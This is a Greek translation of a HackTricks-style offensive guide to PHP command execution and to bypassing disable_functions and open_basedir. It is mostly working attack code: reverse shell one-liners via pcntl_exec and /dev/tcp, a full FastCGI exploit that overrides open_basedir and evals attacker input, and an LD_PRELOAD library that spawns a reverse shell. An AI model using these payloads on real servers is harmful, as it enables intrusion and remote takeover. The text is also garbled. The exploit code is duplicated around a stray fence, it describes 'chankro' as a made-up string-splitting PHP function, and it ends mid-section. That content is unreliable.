PHP - Useful Functions & disable_functions/open_basedir bypass

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Εκτέλεση Εντολής & Κώδικας PHP

Εκτέλεση Εντολής PHP

Σημείωση: Ένα p0wny-shell php webshell μπορεί να ελέγξει αυτόματα και να παρακάμψει την παρακάτω συνάρτηση εάν κάποια από αυτές είναι απενεργοποιημένη.

exec - Επιστρέφει την τελευταία γραμμή της έξοδου των εντολών

echo exec("uname  -a");

passthru - Περνάει την έξοδο των εντολών απευθείας στον περιηγητή.

echo passthru("uname -a");

system - Περνάει την έξοδο των εντολών απευθείας στον περιηγητή και επιστρέφει την τελευταία γραμμή

echo system("uname -a");

shell_exec - Επιστρέφει την έξοδο των εντολών

echo shell_exec("uname -a");

`` (backticks) - Ίδιο με την shell_exec()

echo `uname -a`

popen - Ανοίγει έναν αναγνωστή ή έναν γραφέα σωλήνα προς τη διεργασία ενός εντολής

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Παρόμοιο με την popen() αλλά με μεγαλύτερο βαθμό έλεγχου

proc_close(proc_open("uname -a",array(),$something));

preg_replace

Η συνάρτηση preg_replace χρησιμοποιείται για την αντικατάσταση μιας συμβολοσειράς με μια άλλη σε ένα κείμενο, χρησιμοποιώντας κανονικές εκφράσεις. Η σύνταξη της συνάρτησης είναι η εξής:

preg_replace($pattern, $replacement, $subject);

Όπου:

  • $pattern είναι η κανονική έκφραση που περιέχει το μοτίβο που θέλουμε να αντικαταστήσουμε.

  • $replacement είναι η συμβολοσειρά που θα χρησιμοποιηθεί για την αντικατάσταση.

  • $subject είναι το κείμενο στο οποίο θα γίνει η αντικατάσταση.

Η συνάρτηση preg_replace επιστρέφει το τροποποιημένο κείμενο μετά την αντικατάσταση.

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Εκτελεί ένα πρόγραμμα (από προεπιλογή σε σύγχρονες και μη τόσο σύγχρονες εκδόσεις της PHP, χρειάζεται να φορτώσετε το πρόσθετο pcntl.so για να χρησιμοποιήσετε αυτήν τη συνάρτηση)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Αυτή η συνάρτηση χρησιμοποιείται για την αποστολή email, αλλά μπορεί επίσης να καταχραστεί για να εισαγάγει αυθαίρετες εντολές μέσα στην παράμετρο $options. Αυτό συμβαίνει επειδή η συνάρτηση mail του php συνήθως καλεί το δυαδικό αρχείο sendmail στο σύστημα και σας επιτρέπει να βάλετε επιπλέον επιλογές. Ωστόσο, δεν θα μπορείτε να δείτε την έξοδο της εκτελούμενης εντολής, για αυτό συνιστάται να δημιουργήσετε ένα shell script που θα γράφει την έξοδο σε ένα αρχείο, να το εκτελέσετε χρησιμοποιώντας το mail και να εκτυπώσετε την έξοδο:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Αυτή η συνάρτηση μπορεί να χρησιμοποιηθεί για τη δυναμική φόρτωση μιας επέκτασης PHP. Αυτή η συνάρτηση δεν θα είναι πάντα διαθέσιμη, γι 'αυτό θα πρέπει να ελέγξετε αν είναι διαθέσιμη πριν προσπαθήσετε να την εκμεταλλευτείτε. Διαβάστε αυτήν τη σελίδα για να μάθετε πώς να εκμεταλλευτείτε αυτήν τη συνάρτηση.

Εκτέλεση κώδικα PHP

Εκτός από το eval, υπάρχουν και άλλοι τρόποι για να εκτελέσετε κώδικα PHP: τα include/require μπορούν να χρησιμοποιηθούν για την απομακρυσμένη εκτέλεση κώδικα στη μορφή ευπάθειας Local File Include και Remote File Include.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Οι απενεργοποιημένες συναρτήσεις είναι οι ρυθμίσεις που μπορούν να διαμορφωθούν στα αρχεία .ini στην PHP που θα απαγορεύσουν τη χρήση των καθορισμένων συναρτήσεων. Το open basedir είναι η ρύθμιση που υποδεικνύει στην PHP τον φάκελο στον οποίο μπορεί να έχει πρόσβαση. Η ρύθμιση PHP πρέπει να διαμορφωθεί στη διαδρομή /etc/php7/conf.d ή παρόμοια.

Και οι δύο ρυθμίσεις μπορούν να βρεθούν στην έξοδο της phpinfo():

open_basedir Bypass

Το open_basedir θα διαμορφώσει τους φακέλους στους οποίους η PHP μπορεί να έχει πρόσβαση, δεν θα μπορείτε να γράψετε/διαβάσετε/εκτελέσετε κανένα αρχείο έξω από αυτούς τους φακέλους, αλλά επίσης δεν θα μπορείτε ούτε να καταλογογραφήσετε άλλους φακέλους. Ωστόσο, αν καταφέρετε να εκτελέσετε αυθαίρετο κώδικα PHP, μπορείτε να δοκιμάσετε τον παρακάτω κομμάτι κώδικα για να παρακάμψετε τον περιορισμό.

Καταλογογραφώντας φακέλους με την παράκαμψη glob://

Σε αυτό το πρώτο παράδειγμα χρησιμοποιείται το πρωτόκολλο glob:// με μια παράκαμψη μονοπατιού:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Σημείωση1: Στη διαδρομή μπορείτε επίσης να χρησιμοποιήσετε /e??/* για να εμφανίσετε το /etc/* και οποιοδήποτε άλλο φάκελο. Σημείωση2: Φαίνεται ότι μέρος του κώδικα είναι διπλός, αλλά αυτό είναι πραγματικά απαραίτητο! Σημείωση3: Αυτό το παράδειγμα είναι χρήσιμο μόνο για την εμφάνιση φακέλων και όχι για την ανάγνωση αρχείων

Πλήρης παράκαμψη του open_basedir με κατάχρηση του FastCGI

Εάν θέλετε να μάθετε περισσότερα για το PHP-FPM και το FastCGI μπορείτε να διαβάσετε το πρώτο τμήμα αυτής της σελίδας. Εάν έχει ρυθμιστεί το php-fpm μπορείτε να το καταχραστείτε για να παρακάμψετε πλήρως το open_basedir:

Σημειώστε ότι το πρώτο πράγμα που πρέπει να κάνετε είναι να βρείτε πού βρίσκεται το unix socket του php-fpm. Συνήθως βρίσκεται κάτω από το /var/run, οπότε μπορείτε να χρησιμοποιήσετε τον προηγούμενο κώδικα για να εμφανίσετε τον κατάλογο και να τον βρείτε. Κώδικας από εδώ.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// η πραγματική εκμετάλλευση ξεκινάει εδώ
if (!isset($_REQUEST['cmd'])) {
die("Ελέγξτε την είσοδό σας\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Δεν κάνει τίποτα
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Αυτά τα σενάρια θα επικοινωνήσουν με το unix socket του php-fpm (συνήθως βρίσκεται στο /var/run αν χρησιμοποιείται το fpm) για να εκτελέσουν αυθαίρετο κώδικα. Οι ρυθμίσεις open_basedir θα αντικατασταθούν από το χαρακτηριστικό PHP_VALUE που αποστέλλεται. Παρατηρήστε πώς χρησιμοποιείται το eval για να εκτελεστεί ο κώδικας PHP που αποστέλλετε μέσα στην παράμετρο cmd. Επίσης, παρατηρήστε την σχολιασμένη γραμμή 324, μπορείτε να την ξεσχολιάσετε και το payload θα συνδεθεί αυτόματα στον δοθέντα URL και θα εκτελέσει τον κώδικα PHP που περιέχεται εκεί. Απλά αποκτήστε πρόσβαση στο http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); για να λάβετε το περιεχόμενο του αρχείου /etc/passwd.

Μπορεί να σκέφτεστε ότι με τον ίδιο τρόπο που αντικαταστήσαμε τη διαμόρφωση open_basedir μπορούμε να αντικαταστήσουμε την disable_functions. Καλά, δοκιμάστε το, αλλά δεν θα λειτουργήσει, φαίνεται ότι η disable_functions μπορεί να διαμορφωθεί μόνο σε ένα αρχείο διαμόρφωσης .ini του php και οι αλλαγές που κάνετε χρησιμοποιώντας το PHP_VALUE δεν θα έχουν επίδραση σε αυτήν τη συγκεκριμένη ρύθμιση.

Παράκαμψη της disable_functions

Εάν καταφέρετε να εκτελέσετε κώδικα PHP μέσα σε μια μηχανή, πιθανότατα θέλετε να πάτε στο επόμενο επίπεδο και να εκτελέσετε αυθαίρετες εντολές συστήματος. Σε αυτήν την κατάσταση είναι συνηθισμένο να ανακαλύπτετε ότι οι περισσότερες ή όλες οι συναρτήσεις PHP που επιτρέπουν την εκτέλεση εντολών συστήματος έχουν απενεργοποιηθεί στην disable_functions. Ας δούμε λοιπόν πώς μπορείτε να παρακάμψετε αυτόν τον περιορισμό (αν μπορείτε)

Αυτόματη ανακάλυψη παράκαμψης

Μπορείτε να χρησιμοποιήσετε το εργαλείο https://github.com/teambi0s/dfunc-bypasser και θα σας υποδείξει ποια συνάρτηση (αν υπάρχει) μπορείτε να χρησιμοποιήσετε για να παρακάμψετε την disable_functions.

Παράκαμψη χρησιμοποιώντας άλλες συστημικές συναρτήσεις

Απλά επιστρέψτε στην αρχή αυτής της σελίδας και ελέγξτε εάν κάποια από τις συναρτήσεις εκτέλεσης εντολών δεν έχει απενεργοποιηθεί και είναι διαθέσιμη στο περιβάλλον. Εάν βρείτε τουλάχιστον 1 από αυτές, θα μπορείτε να τη χρησιμοποιήσετε για να εκτελέσετε αυθαίρετες εντολές συστήματος.

Παράκαμψη με το LD_PRELOAD

Είναι γνωστό ότι ορισμένες συναρτήσεις στο PHP όπως η mail() θα εκτελέσουν δυαδικά αρχεία μέσα στο σύστημα. Επομένως, μπορείτε να τις καταχραστείτε χρησιμοποιώντας τη μεταβλητή περιβάλλοντος LD_PRELOAD για να τις κάνετε να φορτώσουν μια αυθαίρετη βιβλιοθήκη που μπορεί να εκτελέσει οτιδήποτε.

Συναρτήσεις που μπορούν να χρησιμοποιηθούν για παράκαμψη της disable_functions με το LD_PRELOAD

  • mail

  • mb_send_mail: Αποτελεσματική όταν είναι εγκατεστημένη η ενότητα php-mbstring.

  • imap_mail: Λειτουργεί εάν υπάρχει η ενότητα php-imap.

  • libvirt_connect: Απαιτεί την ενότητα php-libvirt-php.

  • gnupg_init: Χρησιμοποιήσιμη με την εγκατεστημένη ενότητα php-gnupg.

  • new imagick(): Αυτή η κλάση μπορεί να καταχραστεί για να παρακαμφθούν οι περιορισμοί. Λεπτομερείς τεχνικές εκμετάλλευσης μπορούν να βρεθούν σε έναν εκτενή οδηγό εδώ.

Μπορείτε να βρείτε εδώ το σενάριο fuzzing που χρησιμοποιήθηκε για να βρεθούν αυτές οι συναρτήσεις.

Εδώ υπάρχει μια βιβλιοθήκη που μπορείτε να μεταγλωτίσετε για να καταχραστείτε τη μεταβλητή περιβάλλοντος LD_PRELOAD:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Παράκαμψη χρησιμοποιώντας το Chankro

Για να εκμεταλλευτείτε αυτήν την εσφαλμένη ρύθμιση, μπορείτε να χρησιμοποιήσετε το Chankro. Αυτό είναι ένα εργαλείο που θα δημιουργήσει ένα εκμεταλλευτή PHP που πρέπει να ανεβάσετε στο ευάλωτο διακομιστή και να το εκτελέσετε (προσπελάστε το μέσω του web). Το Chankro θα γράψει μέσα στον δίσκο του θύματος τη βιβλιοθήκη και το αντίστροφο κέλυφος που θέλετε να εκτελέσετε και θα χρησιμοποιήσει τον τρόπο** LD_PRELOAD + την συνάρτηση PHP mail()** για να εκτελέσει το αντίστροφο κέλυφος.

Σημειώστε ότι για να χρησιμοποιήσετε το Chankro, οι mail και putenv δεν μπορούν να εμφανίζονται μέσα στη λίστα disable_functions. Στο παρακάτω παράδειγμα μπορείτε να δείτε πώς να δημιουργήσετε ένα εκμεταλλευτή chankro για αρχιτεκτονική 64, που θα εκτελέσει την εντολή whoami και θα αποθηκεύσει το αποτέλεσμα στο /tmp/chankro_shell.out, το chankro θα γράψει τη βιβλιοθήκη και το φορτίο στο /tmp και ο τελικός εκμεταλλευτής θα ονομάζεται bicho.php (αυτό είναι το αρχείο που πρέπει να ανεβάσετε στον διακομιστή του θύματος):

#!/bin/sh
whoami > /tmp/chankro_shell.out

Η συνάρτηση chankro χρησιμοποιείται για να διαιρέσει μια συμβολοσειρά σε μικρότερα τμήματα με βάση έναν διαχωριστικό χαρακτήρα και να τα επιστρέψει ως έναν πίνακα. Η σύνταξη της συνάρτησης είναι η εξής:

array chankro ( string $string , int $length [, string $separator = "" ] )

Οι παράμετροι της συνάρτησης είναι:

  • $string: Η συμβολοσειρά που θέλουμε να διαιρέσουμε.

  • $length: Το μήκος των μικρότερων τμημάτων που θα δημιουργηθούν.

  • $separator (προαιρετικό): Ο χαρακτήρας διαχωρισμού που θα χρησιμοποιηθεί για να διαχωρίσει τα τμήματα. Αν δεν καθοριστεί, τα τμήματα θα επιστραφούν χωρίς διαχωριστικό.

Η συνάρτηση επιστρέφει έναν πίνακα με τα μικρότερα τμήματα της συμβολοσειράς. Αν η συμβολοσειρά δεν μπορεί να διαιρεθεί σε ίσα τμήματα με βάση το μήκος που καθορίσαμε, το τελευταίο τμήμα θα έχει μικρότερο μήκος.

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

Εάν διαπιστώσετε ότι η λειτουργία mail έχει απενεργοποιηθεί από τις απενεργοποιημένες λειτουργίες, ενδέχεται να μπορείτε ακόμα να χρησιμοποιήσετε τη λειτουργία mb_send_mail. Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική και το Chankro εδώ: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Παράκαμψη" χρησιμοποιώντας τις δυνατότητες της PHP

Σημειώστε ότι χρησιμοποιώντας την PHP μπορείτε να διαβάσετε και να γράψετε αρχεία, να δημιουργήσετε καταλόγους και να αλλάξετε δικαιώματα. Μπορείτε ακόμα να αντιγράψετε βάσεις δεδομένων. Ίσως χρησιμοποιώντας την PHP για να απαριθμήσετε το σύστημα, μπορείτε να βρείτε έναν τρόπο να αναβαθμίσετε τα δικαιώματα/εκτελέσετε εντολές (για παράδειγμα, διαβάζοντας κάποιο ιδιωτικό κλειδί ssh).

Έχω δημιουργήσει ένα webshell που διευκολύνει πολύ την εκτέλεση αυτών των ενεργειών (σημειώστε ότι οι περισσότερες webshells θα σας προσφέρουν επίσης αυτές τις επιλογές): https://github.com/carlospolop/phpwebshelllimited

Παράκαμψη εξαρτήσεων από εκδόσεις/εξαρτήσεις του PHP

Υπάρχουν αρκετοί τρόποι για να παρακάμψετε τις απενεργοποιημένες λειτουργίες εάν χρησιμοποιείται κάποιο συγκεκριμένο πρόσθετο ή εκμεταλλευτείτε κάποια συγκεκριμένη έκδοση της PHP:

Αυτόματο εργαλείο

Το παρακάτω σενάριο δοκιμάζει μερικές από τις μεθόδους που σχολιάζονται εδώ: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Άλλες ενδιαφέρουσες συναρτήσεις της PHP

Λίστα με συναρτήσεις που δέχονται κλήσεις επιστροφής

Αυτές οι συναρτήσεις δέχονται ένα παράμετρο συμβολοσειράς που μπορεί να χρησιμοποιηθεί για να καλέσει μια συνάρτηση της επιλογής του επιτιθέμενου. Ανάλογα με τη συνάρτηση, ο επιτιθέμενος μπορεί να έχει ή όχι τη δυνατότητα να περάσει ένα παράμετρο. Σε αυτήν την περίπτωση, μια συνάρτηση αποκάλυψης πληροφοριών όπως η phpinfo() μπορεί να χρησιμοποιηθεί.

Κλήσεις επιστροφής / Κλήσιμοι

Ακολουθούν λίστες από εδώ

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Αποκάλυψη Πληροφοριών

Οι περισσότερες από αυτές τις κλήσεις συνάρτησης δεν είναι αδιάβροχες. Ωστόσο, μπορεί να αποτελέσει μια ευπάθεια εάν οποιαδήποτε από τα επιστρεφόμενα δεδομένα είναι ορατά για έναν επιτιθέμενο. Εάν ένας επιτιθέμενος μπορεί να δει το phpinfo(), τότε οπωσδήποτε αποτελεί μια ευπάθεια.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Άλλα

Σε αυτήν την ενότητα θα εξετάσουμε ορισμένες χρήσιμες συναρτήσεις PHP που μπορούν να χρησιμοποιηθούν για την απενεργοποίηση των disable_functions και την παράκαμψη του open_basedir.

Απενεργοποίηση των disable_functions

